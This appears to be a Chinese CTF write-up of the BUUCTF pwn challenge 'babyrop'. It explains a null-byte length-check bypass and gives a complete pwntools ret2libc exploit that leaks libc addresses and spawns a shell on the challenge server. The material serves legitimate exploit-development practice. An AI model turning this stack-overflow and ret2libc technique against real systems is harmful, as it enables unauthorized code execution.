BUUCTF Pwn [OGeek2019]babyrop 题解

下载 checksec

32位 用IDA32打开

查看主函数 

读取字符串 如果最后一个数字和随机的数字不相等 就直接退出

所以要利用在字符串前加上 \x00   绕过长度检测 使14行的if不会执行


返回上一个函数字符串的第七个数 并比较是否=127 但是想要实现栈溢出 字符ASCII码必须要>231才行

所以要用到拓展ASCII码 取 \xff 

查看字符串 这题也没有后门函数 所以接下来就是ret2libc

exp:

from pwn import *
from LibcSearcher import *

p = remote("node5.buuoj.cn", 28178)
#p = process('./baby')
elf = ELF('./baby')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = 0x8048825

payload = b'\x00' + b'\xff' * 7
p.sendline(payload)

p.recvuntil(b"Correct\n")
payload1 = b'a' * (0xe7 + 4) + p32(write_plt)  +  p32(main_addr) + p32(1) +  p32(write_got) + p32(4)
p.sendline(payload1)
write_addr = u32(p.recv(4))


print(hex(write_addr))

libc=ELF('./libc-2.23.so')
offset = write_addr - libc.symbols['write']
binsh = offset + libc.search(b'/bin/sh').__next__()
system = offset + libc.symbols['system']

payload2 = b'a' * (0xe7 + 4) + p32(system) + b'aaaa' + p32(binsh)

p.sendline(payload)

p.recvuntil(b"Correct\n")
p.sendline(payload2)

p.interactive()


运行 得到flag:flag{13b507a6-fb96-4d2d-ab7d-c8c3853dc8c4}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值